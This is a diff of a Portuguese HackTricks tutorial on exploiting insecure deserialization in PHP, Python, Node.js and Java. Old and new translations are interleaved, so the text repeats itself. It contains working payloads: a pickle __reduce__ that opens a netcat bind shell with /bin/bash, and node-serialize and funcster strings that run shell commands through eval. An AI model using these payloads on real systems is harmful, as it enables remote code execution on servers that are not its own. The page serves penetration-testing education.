<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
**Serialização** é o processo de transformar algum objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou para enviar como parte de comunicações.
|
||||||
|
|
||||||
**Serialização** é o processo de transformar um objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou enviá-los como parte das comunicações.
|
**Deserialização** é o inverso desse processo, pegando dados estruturados de algum formato e reconstruindo-os em um objeto. Hoje, o formato de dados mais popular para serialização é o JSON. Antes disso, era o XML.
|
||||||
|
|
||||||
**Desserialização** é o processo inverso, em que dados estruturados em algum formato são reconstruídos em um objeto. Atualmente, o formato de dados mais popular para serializar dados é o JSON. Antes disso, era o XML.
|
Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário.\
|
||||||
|
Neste caso, você pode enviar uma carga maliciosa para fazer o lado do servidor se comportar de maneira inesperada.
|
||||||
Em muitas ocasiões, é possível encontrar código no lado do servidor que desserializa algum objeto fornecido pelo usuário.\
|
|
||||||
Nesse caso, você pode enviar uma carga maliciosa para fazer com que o lado do servidor se comporte de maneira inesperada.
|
|
||||||
|
|
||||||
**Você deve ler:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender como atacar.**
|
**Você deve ler:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender como atacar.**
|
||||||
|
|
||||||
|
@ -25,14 +26,14 @@ Nesse caso, você pode enviar uma carga maliciosa para fazer com que o lado do s
|
||||||
|
|
||||||
Método mágico usado com serialização:
|
Método mágico usado com serialização:
|
||||||
|
|
||||||
* `__sleep` é chamado quando um objeto é serializado e deve ser retornado como um array.
|
* `__sleep` é chamado quando um objeto é serializado e deve retornar um array
|
||||||
|
|
||||||
Método mágico usado com desserialização:
|
Método mágico usado com deserialização
|
||||||
|
|
||||||
* `__wakeup` é chamado quando um objeto é desserializado.
|
* `__wakeup` é chamado quando um objeto é desserializado.
|
||||||
* `__unserialize` é chamado em vez de `__wakeup` se existir.
|
* `__unserialize` é chamado em vez de `__wakeup` se existir.
|
||||||
* `__destruct` é chamado quando o script PHP termina e o objeto é destruído.
|
* `__destruct` é chamado quando o script PHP termina e o objeto é destruído.
|
||||||
* `__toString` usa o objeto como uma string, mas também pode ser usado para ler arquivos ou fazer mais coisas com base na chamada de função dentro dele.
|
* `__toString` usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele.
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class test {
|
class test {
|
||||||
|
@ -88,10 +89,10 @@ This is a test<br />
|
||||||
*/
|
*/
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
Se você olhar para os resultados, você pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
|
Se você observar os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é deserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não acontece mais**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar esse método para desserializar propriedades e realizar quaisquer tarefas necessárias durante a desserialização.
|
O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se ele for implementado na classe. Ele permite que você deserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para deserializar propriedades e realizar quaisquer tarefas necessárias após a deserialização.
|
||||||
```php
|
```php
|
||||||
phpCopy codeclass MyClass {
|
phpCopy codeclass MyClass {
|
||||||
private $property;
|
private $property;
|
||||||
|
@ -104,9 +105,9 @@ $this->property = $data['property'];
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Você pode ler um exemplo **PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||||
|
|
||||||
### PHP Deserial + Autoload Classes
|
### PHP Deserial + Classes Autoload
|
||||||
|
|
||||||
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
||||||
|
|
||||||
|
@ -116,7 +117,7 @@ Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos ph
|
||||||
|
|
||||||
### Serializando Valores Referenciados
|
### Serializando Valores Referenciados
|
||||||
|
|
||||||
Se por algum motivo você deseja serializar um valor como uma **referência a outro valor serializado**, você pode:
|
Se por algum motivo você quiser serializar um valor como uma **referência a outro valor serializado**, você pode:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class AClass {
|
class AClass {
|
||||||
|
@ -131,13 +132,13 @@ $ser=serialize($o);
|
||||||
```
|
```
|
||||||
### PHPGGC (ysoserial para PHP)
|
### PHPGGC (ysoserial para PHP)
|
||||||
|
|
||||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações em PHP.\
|
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações PHP.\
|
||||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||||
Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGGC**) por possíveis gadgets que você possa abusar.
|
Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) algum possível gadget que você poderia abusar.
|
||||||
|
|
||||||
### Deserialização de metadados phar://
|
### phar:// deserialização de metadados
|
||||||
|
|
||||||
Se você encontrou uma LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
||||||
Para mais informações, leia o seguinte post:
|
Para mais informações, leia o seguinte post:
|
||||||
|
|
||||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||||
|
@ -157,7 +158,7 @@ def __reduce__(self):
|
||||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||||
print(base64.b64encode(pickle.dumps(P())))
|
print(base64.b64encode(pickle.dumps(P())))
|
||||||
```
|
```
|
||||||
Para obter mais informações sobre como escapar das **cadeias de pickle** verifique:
|
Para mais informações sobre como escapar de **pickle jails**, confira:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -165,13 +166,13 @@ Para obter mais informações sobre como escapar das **cadeias de pickle** verif
|
||||||
|
|
||||||
### Yaml **&** jsonpickle
|
### Yaml **&** jsonpickle
|
||||||
|
|
||||||
A seguinte página apresenta a técnica de **abuso de deserialização insegura em bibliotecas python yamls** e termina com uma ferramenta que pode ser usada para gerar carga útil de deserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas yaml** do python e termina com uma ferramenta que pode ser usada para gerar um payload de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||||
|
|
||||||
{% content-ref url="python-yaml-deserialization.md" %}
|
{% content-ref url="python-yaml-deserialization.md" %}
|
||||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Poluição de Classe (Poluição de Protótipo Python)
|
### Class Pollution (Poluição de Classe em Python)
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||||
|
@ -181,10 +182,10 @@ A seguinte página apresenta a técnica de **abuso de deserialização insegura
|
||||||
|
|
||||||
### Funções Mágicas JS
|
### Funções Mágicas JS
|
||||||
|
|
||||||
O JS **não possui funções "mágicas"** como o PHP ou Python que serão executadas apenas para criar um objeto. Mas ele possui algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
JS **não possui funções "mágicas"** como PHP ou Python que são executadas apenas por criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem chamá-las diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||||
Se abusar de uma deserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipo) e poderá executar código arbitrário quando elas forem chamadas.
|
Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipo), você poderia executar código arbitrário quando elas são chamadas.
|
||||||
|
|
||||||
Outra forma **"mágica" de chamar uma função** sem chamá-la diretamente é **comprometer um objeto que é retornado por uma função assíncrona** (promessa). Porque, se você **transformar** esse **objeto de retorno** em outra **promessa** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas porque é retornada por outra promessa. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
|
Outra **forma "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas por ser retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
|
||||||
```javascript
|
```javascript
|
||||||
// If you can compromise p (returned object) to be a promise
|
// If you can compromise p (returned object) to be a promise
|
||||||
// it will be executed just because it's the return object of an async function:
|
// it will be executed just because it's the return object of an async function:
|
||||||
|
@ -210,7 +211,7 @@ test_then()
|
||||||
```
|
```
|
||||||
### Poluição de `__proto__` e `prototype`
|
### Poluição de `__proto__` e `prototype`
|
||||||
|
|
||||||
Se você deseja aprender sobre essa técnica, **dê uma olhada no seguinte tutorial**:
|
Se você quer aprender sobre essa técnica **veja o seguinte tutorial**:
|
||||||
|
|
||||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||||
|
@ -218,7 +219,7 @@ Se você deseja aprender sobre essa técnica, **dê uma olhada no seguinte tutor
|
||||||
|
|
||||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||||
|
|
||||||
Essa biblioteca permite serializar funções. Exemplo:
|
Esta biblioteca permite serializar funções. Exemplo:
|
||||||
```javascript
|
```javascript
|
||||||
var y = {
|
var y = {
|
||||||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||||||
|
@ -231,9 +232,9 @@ O **objeto serializado** terá a seguinte aparência:
|
||||||
```bash
|
```bash
|
||||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||||
```
|
```
|
||||||
Você pode ver no exemplo que quando uma função é serializada, a flag `_$$ND_FUNC$$_` é adicionada ao objeto serializado.
|
Você pode ver no exemplo que quando uma função é serializada, a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
|
||||||
|
|
||||||
Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesma flag e como o código a utiliza.
|
Dentro do arquivo `node-serialize/lib/serialize.js` você pode encontrar a mesma flag e como o código está usando-a.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (297).png>)
|
![](<../../.gitbook/assets/image (297).png>)
|
||||||
|
|
||||||
|
@ -241,25 +242,25 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
|
||||||
|
|
||||||
Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||||
|
|
||||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código esteja **chamando `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
|
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** no nosso exemplo e isso é altamente **improvável**.\
|
||||||
De qualquer forma, você poderia simplesmente **modificar o objeto serializado** **adicionando alguns parênteses** para executar automaticamente a função serializada quando o objeto for desserializado.\
|
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para autoexecutar a função serializada quando o objeto for desserializado.\
|
||||||
No próximo trecho de código, **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
No próximo trecho de código **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||||
serialize.unserialize(test);
|
serialize.unserialize(test);
|
||||||
```
|
```
|
||||||
Conforme indicado anteriormente, esta biblioteca irá obter o código após `_$$ND_FUNC$$_` e o **executará** usando `eval`. Portanto, para **executar automaticamente o código**, você pode **excluir a parte de criação da função** e o último parêntese e **apenas executar um JS em uma linha**, como no exemplo a seguir:
|
Como indicado anteriormente, esta biblioteca irá obter o código após `_$$ND_FUNC$$_` e irá **executá-lo** usando `eval`. Portanto, para **executar código automaticamente**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um JS oneliner** como no exemplo a seguir:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||||
serialize.unserialize(test);
|
serialize.unserialize(test);
|
||||||
```
|
```
|
||||||
Você pode encontrar [**aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
||||||
|
|
||||||
### [funcster](https://www.npmjs.com/package/funcster)
|
### [funcster](https://www.npmjs.com/package/funcster)
|
||||||
|
|
||||||
A diferença interessante aqui é que os **objetos padrão incorporados não são acessíveis**, pois estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar os métodos dos objetos incorporados. Portanto, se usarmos `console.log()` ou `require(something)`, o Node retornará uma exceção como `"ReferenceError: console is not defined"`.
|
A diferença interessante aqui é que os **objetos padrão integrados não estão acessíveis**, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar métodos dos objetos integrados. Então, se usarmos `console.log()` ou `require(algo)`, o Node retorna uma exceção como `"ReferenceError: console is not defined"`.
|
||||||
|
|
||||||
No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -276,11 +277,11 @@ funcster.deepDeserialize(desertest2)
|
||||||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||||
funcster.deepDeserialize(desertest3)
|
funcster.deepDeserialize(desertest3)
|
||||||
```
|
```
|
||||||
**Para mais informações, leia esta página**.
|
**Para**[ **mais informações, leia esta página**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||||
|
|
||||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||||
|
|
||||||
O pacote **não inclui nenhuma funcionalidade de desserialização** e requer que você a implemente por conta própria. O exemplo deles usa `eval` diretamente. Este é o exemplo oficial de desserialização:
|
O pacote **não inclui nenhuma funcionalidade de deserialização** e exige que você a implemente por conta própria. O exemplo deles usa `eval` diretamente. Este é o exemplo oficial de deserialização:
|
||||||
```javascript
|
```javascript
|
||||||
function deserialize(serializedJavascript){
|
function deserialize(serializedJavascript){
|
||||||
return eval('(' + serializedJavascript + ')');
|
return eval('(' + serializedJavascript + ')');
|
||||||
|
@ -299,46 +300,46 @@ deserialize(test)
|
||||||
```
|
```
|
||||||
### Biblioteca Cryo
|
### Biblioteca Cryo
|
||||||
|
|
||||||
Nas páginas a seguir, você pode encontrar informações sobre como abusar dessa biblioteca para executar comandos arbitrários:
|
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
|
||||||
|
|
||||||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||||
|
|
||||||
## Java - HTTP
|
## Java - HTTP
|
||||||
|
|
||||||
O principal problema com objetos desserializados em Java é que **callbacks de desserialização são invocados durante a desserialização**. Isso permite que um **atacante** **aproveite esses callbacks** e prepare uma carga útil que abusa dos callbacks para **realizar ações maliciosas**.
|
O principal problema com objetos deserializados em Java é que **callbacks de deserialização eram invocados durante a deserialização**. Isso possibilita que um **atacante** **aproveite esses callbacks** e prepare um payload que abusa dos callbacks para **realizar ações maliciosas**.
|
||||||
|
|
||||||
### Impressões digitais
|
### Impressões Digitais
|
||||||
|
|
||||||
#### Caixa Branca
|
#### Caixa Branca
|
||||||
|
|
||||||
Procure no código por classes e funções de serialização. Por exemplo, procure por classes que implementam `Serializable`, o uso de `java.io.ObjectInputStream` ou as funções `readObject` ou `readUnshare`.
|
Procure no código por classes e funções de serialização. Por exemplo, busque por classes que implementam `Serializable`, o uso de `java.io.ObjectInputStream` \_\_ ou funções `readObject` \_\_ ou `readUnshare`\_.
|
||||||
|
|
||||||
Você também deve ficar de olho em:
|
Você também deve ficar atento a:
|
||||||
|
|
||||||
* `XMLdecoder` com parâmetros definidos pelo usuário externo
|
* `XMLdecoder` com parâmetros definidos pelo usuário externo
|
||||||
* `XStream` com o método `fromXML` (a versão xstream <= v1.46 é vulnerável ao problema de serialização)
|
* `XStream` com método `fromXML` (versão xstream <= v1.46 é vulnerável ao problema de serialização)
|
||||||
* `ObjectInputStream` com `readObject`
|
* `ObjectInputStream` com `readObject`
|
||||||
* Uso de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`
|
* Usos de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`
|
||||||
* `ObjectInputStream.readUnshared`
|
* `ObjectInputStream.readUnshared`
|
||||||
* `Serializable`
|
* `Serializable`
|
||||||
|
|
||||||
#### Caixa Preta
|
#### Caixa Preta
|
||||||
|
|
||||||
**Impressões digitais/Bytes Mágicos** de objetos **serializados em Java** (do `ObjectInputStream`):
|
**Impressões Digitais/Bytes Mágicos** de objetos **java serializados** (de `ObjectInputStream`):
|
||||||
|
|
||||||
* `AC ED 00 05` em Hexadecimal
|
* `AC ED 00 05` em Hex
|
||||||
* `rO0` em Base64
|
* `rO0` em Base64
|
||||||
* Cabeçalho `Content-type` de uma resposta HTTP definido como `application/x-java-serialized-object`
|
* Cabeçalho `Content-type` de uma resposta HTTP definido como `application/x-java-serialized-object`
|
||||||
* `1F 8B 08 00` Hexadecimal previamente comprimido
|
* `1F 8B 08 00` Hex previamente comprimido
|
||||||
* `H4sIA` Base64 previamente comprimido
|
* `H4sIA` Base64 previamente comprimido
|
||||||
* Arquivos da web com extensão `.faces` e parâmetro `faces.ViewState`. Se você encontrar isso em um aplicativo da web, dê uma olhada no [**post sobre Deserialização de Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
|
* Arquivos web com extensão `.faces` e parâmetro `faces.ViewState`. Se você encontrar isso em um webapp, dê uma olhada no [**post sobre Deserialização Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
|
||||||
```
|
```
|
||||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||||
```
|
```
|
||||||
### Verificar se é vulnerável
|
### Verificar se é vulnerável
|
||||||
|
|
||||||
Se você quer aprender sobre como funciona uma exploração de deserialização em Java, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
Se você quer **aprender como um exploit de Deserialização Java funciona** você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||||
|
|
||||||
#### Teste de Caixa Branca
|
#### Teste de Caixa Branca
|
||||||
|
|
||||||
|
@ -347,35 +348,35 @@ Você pode verificar se há alguma aplicação instalada com vulnerabilidades co
|
||||||
find . -iname "*commons*collection*"
|
find . -iname "*commons*collection*"
|
||||||
grep -R InvokeTransformer .
|
grep -R InvokeTransformer .
|
||||||
```
|
```
|
||||||
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que o [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer uma exploração. Ou você pode verificar as bibliotecas indicadas em [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||||
Você também pode usar o [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
||||||
Ao executar o **gadgetinspector** (após construí-lo), não se preocupe com as toneladas de avisos/erros que ele está passando e deixe-o terminar. Ele irá escrever todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-min.txt_. Por favor, observe que o **gadgetinspector não criará uma exploração e pode indicar falsos positivos**.
|
